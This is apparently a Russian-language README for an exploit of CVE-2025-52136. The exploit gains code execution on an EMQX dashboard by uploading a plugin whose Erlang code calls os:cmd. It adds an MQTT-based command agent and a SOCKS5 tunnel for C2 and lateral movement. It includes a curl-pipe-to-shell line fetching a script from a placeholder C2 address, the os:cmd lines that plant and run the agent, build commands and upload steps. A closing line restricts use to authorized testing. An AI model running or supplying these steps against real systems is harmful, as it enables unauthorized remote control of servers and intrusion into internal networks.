
Эксплойт для CVE-2025-52136, обеспечивающий удалённое выполнение кода (RCE) на панели управления EMQX через загрузку плагина, с MQTT-агентом команд и SOCKS5-туннелем для внеполосного C2 и перемещения по сети.
https://github.com/ricardojoserf/emqx-RCE
Исходный метод эксплуатации заключается в загрузке плагина EMQX, добавлении в код шаблона плагина вызова Erlang-модуля os для выполнения системных команд и получения RCE.
В среде с выходом в интернет, где по умолчанию доступен curl, можно напрямую выполнить curl http://xx.xx.xx.xx/1.sh | sh для подключения к C2.
Если целевая система не имеет выхода в интернет, поскольку EMQX сам по себе является MQTT-сервером, можно в сочетании с загрузкой плагина выполнить на сервере EMQX загруженный исполняемый файл. Используя EMQX в качестве ядра MQTT-очереди сообщений, развёрнутая программа работает как «прокси системных команд»: подписывается на команды, отправляемые клиентом, а затем публикует результаты выполнения обратно в тему.
+-------------+
| Клиент |
| Отправка |
| команд |
| Тема: rx/cmd |
+------+-------+
|
MQTT Broker (EMQX)
|
+------+-------+
| Прокси- |
| программа |
| Подписка |
| rx/cmd |
| Выполнение |
| системных |
| команд |
| Публикация |
| tx/cmd |
+--------------+
go mod init mqtt_agent
go get github.com/eclipse/paho.mqtt.golang
GOOS=linux GOARCH=amd64 go build -o mqtt_agent agent.go
Затем, следуя подходу автора оригинала, добавьте три строки в my_emqx_plugin.erl:
os:cmd("mv /opt/emqx/plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/mqtt_agent /tmp/mqtt_agent"),
os:cmd("chmod +x /tmp/mqtt_agent"),
os:cmd("bash -c \"/tmp/mqtt_agent\""),
После компиляции плагина с помощью любого архиватора поместите mqtt_agent в каталог my_emqx_plugin-1.0.0.tar.gz\my_emqx_plugin-1.0.0\my_emqx_plugin-0.1.0\

Загрузите плагин

Затем на клиенте добавьте подписку на тему tx/cmd, а публикацию выполняйте в тему rx/cmd — и можно пользоваться.

Аналогичным образом через MQTT между Client ↔ Agent можно открыть туннель и двунаправленно передавать TCP-данные через MQTT внутреннему агенту, после чего агент подключается к целевому хосту во внутренней сети — так реализуется использование прокси для проникновения во внутреннюю сеть.
У данного решения есть определённые недостатки:
go mod init mqtt_tunnel_agent
go mod init mqtt_tunnel_client
go get github.com/armon/go-socks5
go get github.com/eclipse/paho.mqtt.golang
go get github.com/google/uuid
go build -o mqtt_tunnel_agent mqtt_tunnel_agent.go
//client
GOOS=linux GOARCH=amd64 go build -o mqtt_tunnel_client mqtt_tunnel_client.go
Способ использования аналогичен описанному выше процессу RCE; здесь напрямую поднимается локальный порт для туннелирования трафика через SOCKS5.
Прокси-туннель компилируется и используется самостоятельно.
Данный инструмент предназначен исключительно для использования в авторизованных/тестовых средах; любое нелегальное использование строго запрещено.